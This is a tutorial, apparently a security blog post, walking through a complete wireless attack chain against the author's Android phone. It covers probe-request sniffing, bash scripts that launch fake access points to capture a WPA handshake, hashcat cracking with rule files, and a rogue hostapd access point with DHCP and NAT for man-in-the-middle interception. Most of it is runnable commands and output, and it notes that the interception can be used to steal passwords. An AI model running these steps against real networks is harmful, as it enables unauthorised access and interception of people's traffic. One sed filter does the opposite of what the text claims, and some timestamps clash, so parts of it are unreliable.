Cracking WPA-PSK Without the AP
So here I’m going to demonstrate some techniques to allow you to attempt to crack a WPA-PSK wireless passphrase with needing to be near the vicinity of the wireless access point (AP).
I’m not going to go through the whole basics of wireless hacking as its covered in detail on SecurityTube with more on PentesterAcademy. If you are brand new to wireless hacking I would highly advise going through this course and trying out all of the examples.
Equipment and Setup
What I’m going to be using for this is a laptop with Kali 2.0 installed, a TP-Link TL-WN722N USB wireless card and an Android phone (for the target).
The Android phone has been configured to connect to a WPA-PSK network with the ESSID WPA.
Picking A Target
The first thing you have to do is find or pick the target. Obviously I know the device I’m going to be targeting but it’s possible to find potential targets using the following method.
Open up a terminal and use airmon-ng to put the wireless device into monitor mode:
root@kali:~/tools/wireless# airmon-ng start wlan1
Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
PID Name
7034 wpa_supplicant
7129 dhclient
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 6b)
phy17 wlan1 ath9k_htc Atheros Communications, Inc. AR9271 802.11n
(mac80211 monitor mode vif enabled for [phy17]wlan1 on [phy17]wlan1mon)
(mac80211 station mode vif disabled for [phy17]wlan1)Here you can see that I’m using wlan1 for my wireless device, you’s might be different. To check what device you should be using run ifconfig with the -a option or iwconfig to list all of your currently avaliable devices.
From the output you can see that airmon-ng has created wlan1mon and removed wlan1, we can check that:
root@kali:~/tools/wireless# iwconfig
wlan1mon IEEE 802.11bgn Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
eth0 no wireless extensions.
wlan0 IEEE 802.11abgn ESSID:"Test"
Mode:Managed Frequency:2.457 GHz Access Point: 00:F3:02:5A:C8:29
Bit Rate=585 Mb/s Tx-Power=22 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
Link Quality=68/70 Signal level=-42 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:4477 Missed beacon:0
lo no wireless extensions.As you can see from the first line, wlan1mon is now in Monitor mode.
Now open up wireshark and start listening on wlan1mon.
Apply the filter wlan.fc.type_subtype == 0x0004, this will ensure wireshark only shows probe request packets. These packets are wireless devices looking for networks that are already configured on the device to connect to.
Below you can see a screenshot of wireshark showing some of this output:

You could now make note of the MAC address of the device shown here as 08:08:c2:bf:0e:53, we could use this later when we get the device to connect to us.
Getting More Information
So we know the ESSID (name) of a network that the target device is configured to connect to but we don’t know anything else about it, like whether its an open , WEP or WPA/WPA2 network.
What we want to do now is get the device to connect to us, during this process we’ll find out the configuration of the target network and if it’s a WPA/WPA2 network we should be able to capture part of the 4-way handshake.
To do this we’ll need to setup a number of fake wireless networks, all with the same ESSID and see which one the target device connects to.
I’ve written a couple of simple shell scripts to make this job a little quicker, the first is needed because the newer vesion of airmon-ng no longer allows you to create multiple monitoring interfaces on a single wireless interface:
#!/usr/bin/env bash
if [ $# -ne 2 ]; then
echo "Usage: $0 [if] [number]"
exit 1
fi
iwconfig $1 > /dev/null 2>&1
if [ $? -ne 0 ]; then
echo "Error: $1 doesn't exist"
exit 1
fi
max=$(($2 - 1))
for i in $(seq 0 $max); do
echo -n "Creating interface mon$i... "
iw $1 interface add mon$i type monitor
echo "done."
doneAll this does is takes 2 arguments, the first is the wireless interface to use and the second is the number of monitoring interfaces to create.
For example:
root@kali:~/tools/wireless# ./create-monitor-ifs.sh wlan1 3
Creating interface mon0... done.
Creating interface mon1... done.
Creating interface mon2... done.
root@kali:~/tools/wireless# iwconfig
eth0 no wireless extensions.
mon0 IEEE 802.11bgn Mode:Monitor Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
wlan0 IEEE 802.11abgn ESSID:"Test"
Mode:Managed Frequency:2.457 GHz Access Point: 00:F3:02:5A:C8:29
Bit Rate=585 Mb/s Tx-Power=22 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
Link Quality=68/70 Signal level=-42 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:4676 Missed beacon:0
mon1 IEEE 802.11bgn Mode:Monitor Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
mon2 IEEE 802.11bgn Mode:Monitor Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
lo no wireless extensions.
wlan1 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:offSo you can see it created 3 monitoring interfaces ready to use, I also created a little script to remove them:
#!/usr/bin/env bash
if [ $# -ne 1 ]; then
echo "Usage: $0 [number]"
exit 1
fi
max=$(($1 - 1))
for i in $(seq 0 $max); do
echo -n "Deleting interface mon$i... "
iw "mon$i" del
echo "done."
doneWith this script you just give it a number of monitoring interfaces to remove and it will:
root@kali:~/tools/wireless# ./delete-monitor-ifs.sh 3
Deleting interface mon0... done.
Deleting interface mon1... done.
Deleting interface mon2... done.The last script is what creates the fake wireless networks:
#!/usr/bin/env bash
BASEDIR="/root/tools/wireless"
if [ $# -ne 2 ]; then
echo "Usage: $0 [if] [essid]"
exit 1
fi
iwconfig $1 > /dev/null 2>&1
if [ $? -ne 0 ]; then
echo "Error: $1 doesn't exist"
exit 1
fi
$BASEDIR/create-monitor-ifs.sh $1 5
iwconfig $1 channel 6
iwconfig mon0 channel 6
iwconfig mon1 channel 6
iwconfig mon2 channel 6
iwconfig mon3 channel 6
iwconfig mon4 channel 6
gnome-terminal -e "airodump-ng --essid $2 -c 6 -w $2 mon0"
gnome-terminal -e "airbase-ng -e $2 -c 6 -a 11:11:11:11:11:11 mon1"
gnome-terminal -e "airbase-ng -e $2 -c 6 -W 1 -N -a 22:22:22:22:22:22 mon2"
gnome-terminal -e "airbase-ng -e $2 -c 6 -W 1 -z 2 -a 33:33:33:33:33:33 mon3"
gnome-terminal -e "airbase-ng -e $2 -c 6 -W 1 -Z 4 -a 44:44:44:44:44:44 mon4"
echo "Created fake AP's and listening"This script will take 2 arguments, the first is the interface to use and the second is the ESSID of the target network.
First it will create 5 monitoring interfaces using the script shown above, it will then use the first to listen on, using airodump-ng, and the other 4 to braodcast the fake networks, using airbase-ng.
It will open up each of these command in a seperate terminal window.
Obviously I’m using MAC addresses which make it obvious they are fake but you can change this or take the MAC address in as an argument or whatever.
Before we can use this we need to use airmon-ng again to disable monitoring on that interface:
root@kali:~/tools/wireless# airmon-ng stop wlan1mon
PHY Interface Driver Chipset
phy0 wlan0 iwlwifi Intel Corporation Wireless 7260 (rev 6b)
phy17 wlan1mon ath9k_htc Atheros Communications, Inc. AR9271 802.11n
(mac80211 station mode vif enabled on [phy17]wlan1)
(mac80211 monitor mode vif disabled for [phy17]wlan1mon)Launching the script (./setup-fake-aps.sh wlan1 WPA) 5 terminal windows will appear:

It shouldn’t take long for the client to connect:

As you can see, the client connected to the AP with the MAC address of 44:44:44:44:44:44, which if you review the setup-fake-aps.sh script its the WPA2-PSK network.
Even better, if you notice the top right hand corner of the airodump-ng window (the window in the middle), you’ll notice that its captured the WPA handshake. :–)
You can now close the windows and remove the monitoring interfaces, we’ll not need them again.
Cracking The Handshake
If you look in the directory that you run the setup-fake-aps.sh script in, you’ll see some files beginning with the ESSID of the network we’ve just impersonated:
root@kali:~/tools/wireless# ls -l WPA-01.*
-rw-r--r-- 1 root root 51647 Dec 31 16:25 WPA-01.cap
-rw-r--r-- 1 root root 1140 Dec 31 16:25 WPA-01.csv
-rw-r--r-- 1 root root 1336 Dec 31 16:25 WPA-01.kismet.csv
-rw-r--r-- 1 root root 2646 Dec 31 16:25 WPA-01.kismet.netxmlThese are created by the airodump-ng command in the setup-fake-aps.sh script and the WPA-01.cap contains the captured packet, including the WPA handshake.
We can check this using wireshark, run wireshark WPA-01.cap and filter for eapol:

Here we can see that we’ve captured at least the first 2 packets of the 4-way handshake. Luckily that’s all we need.
There are a number of ways that you can crack the key, I’m going to use hashcat.
First we need to change the pcap file into something hashcat understands, we can do that using aircrack-ng:
root@kali:~/tools/wireless# aircrack-ng -J WPA WPA-01.cap
Opening WPA-01.cap
Read 600 packets.
# BSSID ESSID Encryption
1 44:44:44:44:44:44 WPA WPA (1 handshake)
2 11:11:11:11:11:11 WPA None (0.0.0.0)
3 22:22:22:22:22:22 WPA No data - WEP or WPA
4 33:33:33:33:33:33 WPA No data - WEP or WPA
Index number of target network ? 1
Opening WPA-01.cap
Reading packets, please wait...
Building Hashcat (1.00) file...
[*] ESSID (length: 3): WPA
[*] Key version: 2
[*] BSSID: 44:44:44:44:44:44
[*] STA: 08:08:C2:BF:0E:53
[*] anonce:
7C C2 C8 9F 76 90 41 3E 1E 0C 86 F8 D2 22 57 39
C2 4A 78 DD A2 C1 9A 4D 0D 42 4D D6 D0 AC 7B 4D
[*] snonce:
C5 F1 61 A2 EC 1D E3 A0 E6 38 4B 68 96 97 6B AC
31 C4 44 15 18 33 26 A9 37 D5 F1 FE 19 2E 37 4E
[*] Key MIC:
FC D5 3C 35 FF 25 39 A5 70 EC 06 C8 AB 7A 29 AF
[*] eapol:
01 03 00 75 02 01 0A 00 00 00 00 00 00 00 00 00
00 C5 F1 61 A2 EC 1D E3 A0 E6 38 4B 68 96 97 6B
AC 31 C4 44 15 18 33 26 A9 37 D5 F1 FE 19 2E 37
4E 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 16 30 14 01 00 00 0F AC 04 01 00 00 0F AC
04 01 00 00 0F AC 02 00 00
Successfully written to WPA.hccap
Quitting aircrack-ng...Now we have a file that is compatiable with hashcat we can try cracking it, I’m just going to use the rockyou wordlist that comes with Kali, but I’m going to limit to the lines with between 8 and 63 characters because these are the limits for WPA/WPA2 passphrases:
root@kali:~/tools/wireless# zcat /usr/share/wordlists/rockyou.txt.gz | sed '/^.\{8,63\}$/d' > /tmp/rockyou.txtWe can find the mode we need to use for hashcat with the following command:
root@kali:~/tools/wireless# hashcat --help | grep WPA
2500 = WPA/WPA2Now we can try to crack it:
root@kali:~/tools/wireless# hashcat -a 0 -m 2500 WPA.hccap /tmp/rockyou.txt
Initializing hashcat v2.00 with 8 threads and 32mb segment-size...
Added hashes from file WPA.hccap: 1 (1 salts)
Activating quick-digest mode for single-hash with salt
[s]tatus [p]ause [r]esume [b]ypass [q]uit =>
Input.Mode: Dict (/tmp/rockyou.txt)
Index.....: 1/2 (segment), 4472437 (words), 33550342 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: 2.68k plains, 2.68k words
Progress..: 4472437/4472437 (100.00%)
Running...: 00:00:27:50
Estimated.: --:--:--:--
[s]tatus [p]ause [r]esume [b]ypass [q]uit =>
Input.Mode: Dict (/tmp/rockyou.txt)
Index.....: 2/2 (segment), 264901 (words), 2009682 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: 3.63k plains, 3.63k words
Progress..: 264901/264901 (100.00%)
Running...: 00:00:01:13
Estimated.: --:--:--:--
Started: Fri Jan 1 12:20:30 2016
Stopped: Fri Jan 1 12:49:33 2016So that didn’t work.
What you have to remember here is, firstly I’m using the latest version of hashcat from github, also I’m using the CPU version of hashcat on a laptop and not the GPU version on a powerful GPU rig, so cracking time will take a lot longer than someone which a better setup.
What we can do here is use rules to make the cracking effort more effective.
With the GPU version I’d use the Hybrid attack but the CPU version doesn’t support that.
A rulefile can be created using the maskprocessor, first let’s create rules to append 2 digits to the end of each password:
root@kali:~/tools/wireless# mp64 '$?d$?d' -o append-2-digits.ruleNow we can use this rule file with hashcat:
root@kali:~/tools/wireless# hashcat -a 0 -m 2500 WPA.hccap /tmp/rockyou.txt -r append-2-digits.rule
Initializing hashcat v2.00 with 8 threads and 32mb segment-size...
Added hashes from file WPA.hccap: 1 (1 salts)
Activating quick-digest mode for single-hash with salt
Added rules from file append-2-digits.rule: 100
WPA.hccap:Monkey25
All hashes have been recovered
Input.Mode: Dict (/tmp/rockyou.txt)
Index.....: 1/2 (segment), 4472437 (words), 33550342 (bytes)
Recovered.: 1/1 hashes, 1/1 salts
Speed/sec.: - plains, 36 words
Progress..: 49341/4472437 (1.10%)
Running...: 00:00:22:39
Estimated.: 01:10:07:43
Started: Sun Jan 1 13:14:36 2016
Stopped: Sun Jan 1 13:37:15 2016So the passphrase for the wireless network is Monkey25.
MITM Time
This post wouldn’t be complete without using what we’ve gotten so far for a MITM attack.
So we’ll use hostapd to setup a rogue access point, first we need the config file:
interface=wlan1
hw_mode=g
channel=6
driver=nl80211
ssid=WPA
auth_algs=1
wpa=2
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_passphrase=Monkey25Now we can start up the AP:
root@kali:~# hostapd-wpe hostapd-wpa.conf
Configuration file: hostapd-wpa.conf
Using interface wlan1 with hwaddr 60:e3:27:0e:3f:d7 and ssid "WPA"
wlan1: interface state UNINITIALIZED->ENABLED
wlan1: AP-ENABLEDNow we want the victim to be able to access the internet to we should now setup a DHCP server, which means we need an IP address configured:
root@kali:~# ifconfig wlan1 up 10.0.0.1 netmask 255.255.255.0
root@kali:~# cat dhcpd-wpa.conf
option domain-name-servers 8.8.8.8;
default-lease-time 60;
max-lease-time 72;
ddns-update-style none;
authoritative;
log-facility local7;
subnet 10.0.0.0 netmask 255.255.255.0 {
range 10.0.0.100 10.0.0.254;
option routers 10.0.0.1;
option domain-name-servers 8.8.8.8;
}
root@kali:~# dhcpd -cf dhcpd-wpa.conf wlan1
Internet Systems Consortium DHCP Server 4.3.1
Copyright 2004-2014 Internet Systems Consortium.
All rights reserved.
For info, please visit https://www.isc.org/software/dhcp/
Config file: dhcpd-wpa.conf
Database file: /var/lib/dhcp/dhcpd.leases
PID file: /var/run/dhcpd.pid
Wrote 0 leases to leases file.
Listening on LPF/wlan1/60:e3:27:0e:3f:d7/10.0.0.0/24
Sending on LPF/wlan1/60:e3:27:0e:3f:d7/10.0.0.0/24
Sending on Socket/fallback/fallback-netLastly we need to configure Linux to route the packets and NAT:
root@kali:~# echo 1 > /proc/sys/net/ipv4/ip_forward
root@kali:~# iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
root@kali:~# iptables -A FORWARD -i wlan0 -o wlan1 -m state --state RELATED,ESTABLISHED -j ACCEPT
root@kali:~# iptables -A FORWARD -i wlan1 -o wlan0 -j ACCEPTIf you fire up wireshark and put a filter in for http, you should get something like this:

Conclusion
This is just 1 method that can be used to attack wireless networks/clients.
It relied on a reasonably easy to crack passphrase but most wireless clients are much easier to get them to connect to you anyway as most have fully open wireless networks configured in their wireless network lists.
There is a lot you can do with a MITM attack, it can be used to steal usernames and passwords, edit the content of network traffic in transit and even fully compromise the victim machine, this was only a brief demo. For a good piece of kit for MITM’s check out MITMf.
It should be obvious by now but wireless is inherently insecure, if it can be done without then do that and always remember to disable your wireless network card when its not being used!
Happy Hacking :–)